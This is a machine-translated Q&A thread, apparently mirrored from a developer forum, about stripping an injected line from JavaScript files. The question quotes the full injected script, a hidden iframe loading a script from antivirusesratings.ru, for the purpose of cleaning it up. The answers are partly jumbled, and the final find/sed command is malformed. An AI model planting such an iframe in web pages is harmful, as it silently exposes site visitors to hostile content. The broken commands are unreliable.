我正在尝试在所有js文件中找到一个字符串(在所有子文件夹中递归)并在可能的情况下删除字符串并显示处理了哪个文件(所以我可以在之后检查它)。
我能够找到字符串。
grep -lr --include="*.js" "antivirusesratings.ru" .
并且用这个:(不确定两种方法之间是否存在差异?)
find ./ -type f | xargs grep -l "antivirusesratings.ru"
所以也许最后一个例子可以改变,以便它也删除字符串。 现在我考虑一下。我想要删除的字符串有引号。没有任何关于如何为以下字符串执行此操作的线索,我真的想在任何地方删除它。
;document.write('<iframe src="http://antivirusesratings.ru/thenautoreplies.cgi?8" scrolling="auto" frameborder="no" align="center" height="15" width="15"></iframe>')
提前致谢。 我真的很感激!
此致
GOSA
答案 0 :(得分:0)
ssh
可以接收命令作为它的最后一个参数,所以你应该提供super-duper-command来进行清理。
为了清理文件,我认为将find
的{{1}}参数与某些-exec
和输出重定向结合起来会很好。
说,对于找到的每个文件,grep
或类似的东西(我认为您可能必须使用临时文件,因为FILE重定向到自身IIRC不起作用)。
尝试使用重定向grep -v UGLY_LINE $FILE > $FILE
,然后将其与grep
结合使用,最后(可能稍微转义一下),您应该将其放在find
内以执行您想要的操作。< / p>
答案 1 :(得分:0)
这是我在unix.stackexchange.com上找到的一个解决同样问题的函数:Deleting Lines Containing a Specified String in Different Files。
它使用grep
查找包含特定字符串(antivirusesratings.ru
为您)的所有文件。然后使用sed
命令(行删除)将这些结果传递到d
,以删除包含该字符串的行。
与往常一样,请确保在运行该脚本之前备份目录以批量替换文件。
答案 2 :(得分:0)
我认为这就是你想要的:
find type -f -name "*.js" -exec sed -i 's/antivirusesratings.ru//g' {}